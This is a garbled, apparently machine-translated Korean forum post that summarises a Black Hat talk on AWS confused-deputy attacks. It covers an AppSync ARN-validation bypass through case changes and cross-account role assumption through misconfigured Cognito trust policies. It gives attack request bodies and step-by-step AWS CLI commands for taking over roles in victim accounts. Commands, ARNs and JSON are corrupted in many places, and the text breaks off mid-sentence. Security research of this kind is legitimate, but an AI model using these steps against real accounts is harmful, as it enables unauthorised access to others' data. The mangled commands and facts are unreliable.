제목 : 클라우드 제공 업체 취약점으로 초기 액세스 권한을 얻습니다

taibeihacker

Moderator

利用云提供商漏洞获取初始访问权限​

2024 Blackhat Conference의 연구원은 《Kicking in the Door to the Cloud: Exploiting Cloud Provider Vulnerabilities for Initial Access》이라는 주제를 공유했습니다. 이 주제는 주로 "대리인 혼동"이라는 새로운 유형의 공격 과이 문제를 통해 AWS 계정을 공격하는 방법을 탐구합니다.

1. AppSync 漏洞​

1.1. 背景​

AWS AppSync는 Serverless GraphQL 및 Pub/Sub API가 Serverless GraphQL 및 Pub/Sub API를 신속하게 생성하고 여러 데이터 소스 (SQL, NOSQL, 검색 데이터, REST 엔드 포인트 및 마이크로 서비스)와 상호 작용하여 애플리케이션 개발 및 SOMURILY QUEY, 또는 SITULEY QUERY, 또는 SITULEY QUERY, 또는 SICURENY Query, 또는 SICURENY Query, 또는 SICURENTY Query, 또는 Securely Query, 또는 Securely Query, 또는 SITURENTE
202409301548809.png-water_print

사전 정의 된 데이터 소스 및 파서 외에도 AppSync는 AWS API를 직접 호출 할 수있는 기능을 제공하여 개발자가 사전 정의 된 파서없이 AWS 서비스와 통합을 생성 할 수 있습니다. 예를 들어, 개발자는 APPSYNC를 AWS S3 버킷과 상호 작용하도록 직접 구성 할 수 있습니다. 그러나 AppSync가 운영을 수행하도록 승인하려면 APPSYNC 서비스가 대신 작업을 수행 할 수 있도록 AWS Trust Policy의 승인을받을 필수 IAM 권한으로 역할을 수행해야합니다.
1
2
3
4
5
6
7
8
9
10
11
12
{
'버전 ':'2012-10-17 ',
'진술 ': [
{
'effect':'허용 ',
'원칙 ': {
'Service':'appsync.amazonaws.com '
},
'액션 ':'STS:ASSUMEROLE '
}
]]
}
특히 STS:ASSUMEROLE 작업은 역할 신뢰 관계를 통해 임시 자격 증명을 얻는 데 사용됩니다. 이는 IAM 엔티티 (일반적으로 IAM 사용자 또는 AWS 서비스)가 역할의 권한을 얻기 위해 다른 역할의 신원을 가정하도록 요청하는 권한 위임을위한 메커니즘입니다. 이 작업은 종종 보안 최소 권한의 원칙을 구현하는 데 사용됩니다. 즉, 사용자 또는 서비스는 작업을 완료하는 데 필요한 최소 권한 만 얻을 수 있습니다.
S3 버킷을 예로 들어 보겠습니다.
202409301548210.png-water_print

이 과정에는 흥미로운 질문이 있습니다. 공격자가 어떻게 든 AppSync 서비스를 속여서 피해자의 계정에서 특정 역할을 수행하고 자원에 액세스하고 교차 공격을 구현할 수 있습니까?

1.2. 混淆代理人问题(Confusing the deputy)​

난독 화 에이전트의 개념은 운영을 수행 할 수있는 권한이없는 엔티티가 더 권한있는 엔티티가 작전을 수행하도록 강요 할 수 있다는 것입니다. 여기에서 단순히 "비인전 대표단"으로 이해할 수 있습니다. AWS에서 크로스 서비스 대표단은 혼란스러운 대리 문제를 일으킬 수 있습니다. 한 서비스 (통화 서비스)가 다른 서비스 (전화 서비스)를 호출하면 교차 서비스 시뮬레이션이 발생할 수 있으며 통화 서비스는 권한을 사용하여 다른 클라이언트의 리소스에서 작동하도록 조작 할 수 있습니다. 즉, 더 낮은 권한 (공격자)이있는 엔티티는 더 높은 권한 (APPSYNC)으로 엔티티 또는 서비스를 대신하여 특정 작업을 수행하도록 설득합니다.
AWS는 역할의 ARN (AWS 리소스의 고유 식별자)을 확인하여 이러한 공격으로부터 보호합니다. 데이터 소스를 생성하는 동안 API는 제공된 ARN을보고 동일한 AWS 계정에 있는지 여부를 결정합니다. 그렇지 않으면 API가 잘못됩니다.
1
2
3
4
5
6
7
AWS AppSync 생성 데이터 소스 \
-api-id example123example123example \
-타입 http \
-http-config file: //http.json \
-service-lole-arn arn:aws3:iam333333:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111133600ROLE/예제
CreateAtasource Operation을 호출 할 때 오류가 발생했습니다.
명령 줄 HTTP 요청 트래픽을 볼 수있는 패킷을 잡으면 ARN이 ServicerOln 매개 변수에 전달되어 있음을 알 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
'이름 ':'custom_data_source ',
'타입 ':'http ',
'servicerolearn':'arn:aws:iam33333:111111111111111111:0role/example ',
'httpconfig': {
'endpoint ':'https://sts.us-est-1.amazonaws.com/',
'AuthorizationConfig': {
'AuthorizationType':'aws_iam ',
'awsiamconfig': {
'서명 지역 ':'US-East-1 ',
'Signingservicename ':'sts '
}
}
}
}
ARN 검증 프로세스를 테스트 할 때 API 인터페이스가 대소 문자를 사용하지 않는 것으로 나타났습니다. 예를 들어, API는 httpconfig를 사용할 것으로 예상하지만 httpconfig가 전송되면 오류가 없습니다. 이 기능을 통해 ServicerOlearn 사례를 수정하면 검증을 우회하여 공격자가 다양한 AWS 계정에서 역할을 시뮬레이션 할 수 있습니다.
다음 그림은 정상적인 Servicerolearn을 사용할 때 요청 및 응답을 보여줍니다.
202409301548398.png-water_print

202409301549949.png-water_print

사례 우회 :
202409301549112.png-water_print

202409301549622.png-water_print

ARN 검증을 우회하여 공격자는 다른 AWS 계정의 역할에 연결된 appsync 데이터 소스를 생성 할 수 있습니다. 이런 식으로 공격자는 AWS AppSync 서비스를 신뢰하는 계정의 역할과 관련된 모든 리소스와 상호 작용할 수 있습니다.

1.3. 访问其它 AWS 账户中的资源​

위 우회 확인을 통해 계정의 다른 AWS 계정에 대한 데이터 소스를 생성 할 수 있습니다.
예를 들어, 고객을위한 컨퍼런스 초대장 관리를 전문으로하는 EventPlanners라는 회사가 있다고 가정합니다. 이 회사는 회의, 협업 및 제어를 예약하기위한 GraphQL API를 보유하고있어 허가를받은 사용자 만 회의 이벤트를 볼 수 있도록합니다. 모든 정보는 DynamODB에 저장됩니다.
GraphQL API가 DynamODB 테이블과 상호 작용할 수 있도록 다음과 같은 권한으로 피해자 계정에서 IAM 역할이 작성됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'버전 ':'2012-10-17 ',
'진술 ': [
{
'effect':'허용 ',
'액션 ': [
'dynamodb:deleteitem',
'dynamodb:getItem',
'dynamodb:putitem',
'DynamoDB:Query',
'dynamodb:scan',
'dynamodb:updateitem'
],
'자원 ': [
'arn:aws:dynamodb33333333333333:table/appsynceventtable-xrpyowzk',
'ARN:AWS:DYNAMODB333:US-EAST-1:6730338893333:Table/appsynceventtable-xrpyowzk/*'
]]
}
]]
}
그런 다음 DynamoDB Resolver는 해당 역할을 사용하여 데이터베이스에 액세스합니다. 이 역할과 AppSync 서비스 사이에는 신뢰 관계가 있기 때문에 위에서 언급 한 취약점을 사용하여 데이터베이스의 계정을 인수 할 수 있습니다.
공격자의 관점에서, 공격자는 피싱을 통해 이벤트 플래너 직원으로부터 정보를 얻을 수 있으며 내부 문서에 액세스 할 수 있으며 공격자가 프로덕션 데이터베이스에 액세스 할 수있는 충분한 권한이 없더라도 프로덕션 AWS 계정에서 리소스의 ARN을 볼 수 있습니다.
이 취약점을 활용하여 공격자는 자신의 AppSync API와 이벤트 플랜더 계정의 역할을 지적하는 데이터 소스를 작성하여 이벤트 플래너 데이터베이스를 해킹 할 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
'이름 ':'악성 소스 ',
'타입 ':'http ',
'servicerolearn':'Arn:aws:iam33333333333677303038893:ROLE/SERVICE-DS-DDB-YOCZRT-APPYNCEVENTTABLE-XR ',
'httpconfig': {
'endpoint ':'https://dynamodb.us-east-1.amazonaws.com/',
'AuthorizationConfig': {
'AuthorizationType':'aws_iam ',
'awsiamconfig': {
'서명 지역 ':'US-East-1 ',
'Signingservicename ':'Dynamodb '
}
}
}
}
위의 방법에서 공격자는 마치 데이터 소스가있는 것처럼 상호 작용할 수 있습니다. 또한 공격자는 이후 새 구문 분석기를 생성하고 DynamODB:SCAN을 호출 할 요청 매핑 템플릿을 지정할 수 있습니다.
202409301549693.png-water_print

202409301549624.png-water_print

202409301549436.png-water_print

이제 공격자는 API에 전화하여 EventPlanners 데이터베이스의 전체 내용을 볼 수 있습니다.
202409301549976.png-water_print

요약하면, 공격 프로세스는 그림에 나와 있습니다.
202409301549493.png-water_print

2. AWS Amplify漏洞​

2.1. 背景​

AWS Cognito는 사용자 인증 및 인증을 관리하는 AWS 서비스로 개발자는 사용자 등록, 로그인 및 액세스 제어 기능을 응용 프로그램에 쉽게 추가 할 수 있습니다. Amazon Cognito는 개발자 중심의 비용 효율적인 고객 ID 및 액세스 관리 (CIAM) 서비스로 수백만 건의 안전한 신분 저장 및 연합 인증으로 사용자를 확장 할 수있는 옵션을 제공합니다.
Cognito의 주요 기능 중 하나는 Identity Pool으로, 개발자가 인증 된 사용자 또는 익명 사용자가 AWS 리소스에 액세스 할 수 있도록 승인 할 수 있습니다. Identity Pool은 이러한 사용자에게 표준 단기 STS 자격 증명 (액세스 키)을 발행 할 수 있습니다.
이를 위해 Cognito는 신뢰 정책이 다음과 유사한 AWS 계정에서 역할을합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'버전 ':'2012-10-17 ',
'진술 ': [
{
'effect':'허용 ',
'원칙 ': {
'Federated ':'Cognito-Identity.amazonaws.com '
},
'Action':'STS:ASSUMEROLEWITHWEBINGITINITY ',
'조건 ': {
'StringEquals ': {
'cognito-identity.amazonaws.com:aud': 'us-east-1:00000000-aaaa-1111-bbbb-22222222222222222222222222222222222222222222222222222'
},
'foranyValue:String Like': {
'Cognito-Identity.amazonaws.com:amr':'인증 '
}
}
}
]]
}
이 전략의 가장 중요한 부분은 조건 요소입니다. 이 조건이 없으면 Cognito-Identity.amazonaws.com 서비스의 신뢰 관계는 누구나이 역할을 수행 할 수있게 해주 며, 이는 다음 장에서 설명 할 것입니다.

2.2. 潜在误配置1:Trust policy without a condition​

잠재적 오해 1 : 조건이없는 신뢰 정책
잘못된 역할 신탁 정책을 구성하여 IAM 역할을 가장하려면 먼저 공격자를 대신하여 다른 역할을 가장하기 위해 Cognito 서비스를 구성 할 수 있어야합니다. 대부분의 경우에는 불가능합니다. 예를 들어, 사용자가 ID Pool을 생성하거나 기존 ID 풀을 수정하고 다른 계정에서 무단 역할을 지정하려고 시도하면 다음 오류 메시지가 표시됩니다.
1
2
3
4
5
로컬@호스트 %aws 동족체 정체성 세트-쿨-폴-\
-Identity-Pool-ID US-EAST-1:1111111111-AAAA-2222222-BBB-33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333AIOND입니다
--roles unauthenticated=arn:aws:iam:222222222222222222:role/role-in-different-aws-account
SetIndityPoolRoles Operation: Cross-Account Pass 역할을 호출 할 때 오류가 발생했습니다 (AccessDeniedException).
그러나 연구원들은 Cognito의 기본 (클래식) 검증 프로세스를 사용하여 신뢰 정책을 잘못 구성하는 경우 다른 역할을 시뮬레이션하는 방법을 발견했습니다. STS:ASSUMEROWITHWEBINGITITY는 IAM 역할의 ARN을 매개 변수로 취하여 사용자가 다른 AWS 계정에서 취약한 역할을 지정할 수 있도록합니다. 중요하게도, 다른 AWS 계정에 속하는 역할을 지정하는 것은 오류를 반환하지 않습니다.
공격자가 자신의 계정에 신분 풀을 만들어 역할 신탁 정책 오해의 경우 IAM 역할을 시뮬레이션 할 수 있다고 가정합니다. 그런 다음 공격자는 자신의 ID Pool을 사용하여 필요한 ID 토큰을 생성하여 STS:ASSUMEREWITHWEBIDINTITY API를 호출하고 피해자 계정에서 ARN을 제공합니다.
202409301550226.png-water_print

For example: If the user configures the wrong role trust policy on a role with an ARN of arn:aws:iam:111111111111111:role/vulnerable_role:
1
2
3
4
5
6
7
8
9
10
11
{
'버전 ':'2012-10-17 ',
'진술 ': [
{
'effect':'허용 ',
'원칙 ': {
'Federated ':'Cognito-Identity.amazonaws.com '
},
'Action':'STS:ASSUMEROLEWITHWEBINGITINITY '
}
]]
위의 구성은 조건 요소를 설정하지 않으므로 Cognito Identity Pool의 사용자가 추가 인증 또는 승인없이 현재 AWS 계정 이외의 사용자를 포함하여 역할을 모방하게합니다. 공격자는 자신이 통제하는 악성 계정을 통해 다음 단계를 수행하여 역할을 시뮬레이션 할 수 있습니다.
1. 공격자 제어 코코 아이트티 정체 풀을 만듭니다.
aws kognito-endity create-eenthitity-pool-identity-pool-name 공격자 _id_pool-allowl-classic-flow-Allow-Unauthenticated-Identities
IdentityPoolid는 명령을 실행 한 후 반환됩니다
2. 이전 단계에서 IdentityPoolid를 사용하여 Cognito IdentityId를 생성하십시오.
AWS Cognito-Identity get-id -Identity-Pool-Id IdentityPoolid
IdentityId는 명령을 실행 한 후 반환됩니다.
3. Cognito Network Identity Token을 생성하십시오
AWS 동지 식별 get-open-id-token -Identity-id evidityid
명령을 실행 한 후 토큰이 반환됩니다.
4. 희생자의 계정에서 역할을 시뮬레이션하려면 STS:ASSUMEROLEWITHWEBIDENITY를 사용하십시오.
AWS STS는 ROLE-WITH-WEB-INDICAL을 가정합니다. -Role-arn ARN:AWS:IAM3333333333:11111111111111111111:ROLE/VEXNERABLE_ROLE-ROLE-SESSEST-NAME 해킹 -WEB- 이탈 리티-켄 토큰
피해자 계정에서 취약한 캐릭터에 대한 임시 STS 자격 증명을 생성하여 해당 역할에 따라 자원을 제어합니다.
1
2
3
4
5
6
로컬@호스트 %aws sts get-caller-eDidentity
{
'userId':'aroaexampleRexample12:hacked ',
'계정 ':'1111111111111 ',
'Arn': 'arn:aws:sts:1111111111111111:assumed-role/vulnerable_role/hacked'
}

2.3. 潜在误配置2:Trust policy with an unauthenticated condition​

조건 요소가 비어 있거나 Cognito-Identity.amazonaws.com:AM 조건이 무단으로 설정되면 위의 문제와 동일한 영향을 미치지 않으며 반복되지 않습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
'버전 ':'2012-10-17 ',
'진술 ': [
{
'effect':'허용 ',
'원칙 ': {
'Federated ':'Cognito-Identity.amazonaws.com '
},
'Action':'STS:ASSUMEROLEWITHWEBINGITINITY ',
'조건 ': {
'foranyValue:String Like': {
'Cognito-Identity.amazonaws.com:amr':'Unuthenticated '
}
}
}
]]
}

2.4. 潜在误配置3:Trust policy with an authenticated condition​

역할이 구성되어 있고
 
返回
上方